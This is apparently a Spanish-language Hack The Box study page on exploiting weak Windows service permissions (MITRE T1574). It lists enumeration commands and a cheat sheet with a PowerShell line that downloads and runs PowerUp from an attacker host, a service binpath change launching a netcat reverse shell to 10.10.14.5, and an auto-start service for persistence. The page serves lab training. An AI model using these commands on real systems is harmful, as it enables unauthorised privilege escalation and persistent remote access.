Permisos débiles en servicios
Subtécnica de T1574 Secuestro del flujo de ejecución ↗
Reemplazar el binario de un servicio o cambiar su configuración cuando los permisos te lo permiten.
Cómo aparece en Hack The Box
Revisa los servicios con sc qc e icacls (o PowerUp/winPEAS): binario escribible, permiso para cambiar binpath o rutas sin comillas con espacios. Luego reinicia el servicio.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated 5 min de lectura Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Windows
PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks
Rutas sin comillas con espacios
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select Name,PathName,StartMode
Configuración y permisos de un servicio
sc.exe qc NombreServicio
icacls "C:\Ruta\servicio.exe"
Cambiar el binario de un servicio modificable
sc.exe config NombreServicio binpath= "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop NombreServicio; sc.exe start NombreServicioC2 y post-explotación › Persistencia
Nuevo servicio
Víctima
sc.exe create Updater binPath= "C:\\Windows\\Temp\\x.exe" start= autoNingún comando coincide.